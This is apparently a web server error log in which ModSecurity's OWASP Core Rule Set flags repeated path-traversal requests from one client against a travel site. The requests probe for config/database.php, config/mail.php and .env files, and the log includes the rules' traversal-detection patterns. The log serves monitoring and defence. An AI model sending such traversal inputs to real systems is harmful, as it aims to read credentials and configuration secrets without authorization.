[Fri Jul 17 08:55:06.187454 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.187541 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:load: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.191929 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.192135 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.192500 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.203799 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2Fconfig%2Fmail.php&junk=ps5xTInuhGKpeXFgcWkTCwyFOFzoaLAu7OyZdfSjg2oLTy72o4nYAgCscPDhMO09aflJ1y5C2HfFc7UsTN2YnuPewwUp4W_jSSunKZyxzfVh5p8a5cHG5f43txz47lq_xbOwPhvjP9ynTJE9VLcI_skMgxQr4QT4oCn2I-aycikhWxPD4BiaJ0QtOcadKsVua9byEWaaz7n4B1dC0H4qaJNrun3hw8wLZVodxD4UkuxtWEMPjnsDAOqsOs7oiJkMm4j56sE5METAmyCWk9KOV1tX&sid=I4J7ACFZCGIKWW4Z5JZMVVYB7IYKEFHOJTTBMMSVIMOJV3KD2EMQZ6VKLRHU5KYVMKJPBZNSLHMKPFWZPSP4X3ABDAJMO4NZAFBNG2VMSE6E4FWPVWGZB5HNFR65TX7BNUO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.203867 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.203931 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/mail.php&junk=ps5xTInuhGKpeXFgcWkTCwyFOFzoaLAu7OyZdfSjg2oLTy72o4nYAgCscPDhMO09aflJ1y5C2HfFc7UsTN2YnuPewwUp4W_jSSunKZyxzfVh5p8a5cHG5f43txz47lq_xbOwPhvjP9ynTJE9VLcI_skMgxQr4QT4oCn2I-aycikhWxPD4BiaJ0QtOcadKsVua9byEWaaz7n4B1dC0H4qaJNrun3hw8wLZVodxD4UkuxtWEMPjnsDAOqsOs7oiJkMm4j56sE5METAmyCWk9KOV1tX&sid=I4J7ACFZCGIKWW4Z5JZMVVYB7IYKEFHOJTTBMMSVIMOJV3KD2EMQZ6VKLRHU5KYVMKJPBZNSLHMKPFWZPSP4X3ABDAJMO4NZAFBNG2VMSE6E4FWPVWGZB5HNFR65TX7BNUO445CFQL4YBNMUJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.203963 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/mail.php&junk=ps5xtinuhgkpexfgcwktcwyfofzoalau7oyzdfsjg2olty72o4nyagcscpdhmo09aflj1y5c2hffc7ustn2ynupewwup4w_jssunkzyxzfvh5p8a5chg5f43txz47lq_xbowphvjp9yntje9vlci_skmgxqr4qt4ocn2i-aycikhwxpd4biaj0qtocadksvua9byewaaz7n4b1dc0h4qajnrun3hw8wlzvodxd4ukuxtwempjnsdaoqsos7oijkmm4j56se5metamycwk9kov1tx&sid=i4j7acfzcgikww4z5jzmvvyb7iykefhojttbmmsvimojv3kd2emqz6vklrhu5kyvmkjpbznslhmkpfwzpsp4x3abdajmo4nzafbng2vmse6e4fwpvwgzb5hnfr65tx7bnuo445cfql4ybnmuj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.203984 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.204036 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.205265 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.205416 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.205758 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zTgAAAAE"]
[Fri Jul 17 08:55:06.262239 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lAAAAAw"]
[Fri Jul 17 08:55:06.262285 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lAAAAAw"]
[Fri Jul 17 08:55:06.263343 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2F.env&sid=UMNaRFBjgtMYeg_Zv04u9yO1drDYY2zpeYqchiRTHRAjUPjCNcMvaFeIDbP_Dx8CYhxZWf5HcTMM7bGE0u0w3wn5fWcUATFIOIvcVwfR0B7hAVGPVWYGeAGnOU0VBxP5lMNm362m3boY3zuAGCyAUyTke5YacTlFS_321reZRVhHWV-QYfqzdY2h04eSN_Btne0QhsmwVcPtkXcGFNcOnjJb-7zVWigTJHHTn1z8sE3DzKbOEyB0XGcq8MTtb2mx3e6WcRMNytYvoat0_QwzL_er&extra=SFAEHYHS5QLWWKGHHWCDV4FGN2QSFZZFPN3B6FRD2YIT5UMNWQ2SFDZYZG4CUTBSDL3FMBMD6MLHK3BU6EOJ6XOOMXDBU6M5CBLI233P3GORN27NGS3YBKRNJJGFCIIXF23R4CJ3ZNTPKSX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263424 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263488 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lAAAAAw"]
[Fri Jul 17 08:55:06.263498 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../.env&sid=UMNaRFBjgtMYeg_Zv04u9yO1drDYY2zpeYqchiRTHRAjUPjCNcMvaFeIDbP_Dx8CYhxZWf5HcTMM7bGE0u0w3wn5fWcUATFIOIvcVwfR0B7hAVGPVWYGeAGnOU0VBxP5lMNm362m3boY3zuAGCyAUyTke5YacTlFS_321reZRVhHWV-QYfqzdY2h04eSN_Btne0QhsmwVcPtkXcGFNcOnjJb-7zVWigTJHHTn1z8sE3DzKbOEyB0XGcq8MTtb2mx3e6WcRMNytYvoat0_QwzL_er&extra=SFAEHYHS5QLWWKGHHWCDV4FGN2QSFZZFPN3B6FRD2YIT5UMNWQ2SFDZYZG4CUTBSDL3FMBMD6MLHK3BU6EOJ6XOOMXDBU6M5CBLI233P3GORN27NGS3YBKRNJJGFCIIXF23R4CJ3ZNTPKSXA4L4HBQ7I4B6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263541 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../.env&sid=umnarfbjgtmyeg_zv04u9yo1drdyy2zpeyqchirthrajupjcncmvafeidbp_dx8cyhxzwf5hctmm7bge0u0w3wn5fwcuatfioivcvwfr0b7havgpvwygeagnou0vbxp5lmnm362m3boy3zuagcyauytke5yactlfs_321rezrvhhwv-qyfqzdy2h04esn_btne0qhsmwvcptkxcgfnconjjb-7zvwigtjhhtn1z8se3dzkboeyb0xgcq8mttb2mx3e6wcrmnytyvoat0_qwzl_er&extra=sfaehyhs5qlwwkghhwcdv4fgn2qsfzzfpn3b6frd2yit5umnwq2sfdzyzg4cutbsdl3fmbmd6mlhk3bu6eoj6xoomxdbu6m5cbli233p3gorn27ngs3ybkrnjjgfciixf23r4cj3zntpksxa4l4hbq7i4b6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263583 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263645 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.263655 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.263962 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95lAAAAAw"]
[Fri Jul 17 08:55:06.265466 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.265725 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.266270 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zTwAAAAE"]
[Fri Jul 17 08:55:06.269503 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2F..%2F.env&anything=q-6CpUmsNb4MeJ3DL8L6XfSwvMETr8mE_sjBR-hlmFFwYY5pviGz7EM_9KOATl7NWW1cJWVIxY5M17SPJkzjlGG4uuGLrCNt-Lwl7SQkqRNbrvZDPu9LXTSNDO8X4IWiH_XcFFRrSCpsjiqedItt_oBVNabxrTAWc-CUmJ6su-aAGS5FJdgkxLvyw1ahqzhYbOOl7ILaLeq9jeV8W8FUYpEoF_j-b2MRj8Bxo4i082AjqDocb71CqzZ_1CMn08uP8PmKHrsqe8ZdEgM1eUWZs5em&ref=WBEHAAA3VFEMZ4BSBEFJN27BOJBUHU4B2IH427HU3AI3NQAW3G2W272DMXINYYX34ZSJ352MY4BA73UH52XKINNFGZ4E7HXCCM5W3OQFGZU5AGRFL7R7I4AC3FSRNLX6NKO4SJV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.269564 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag 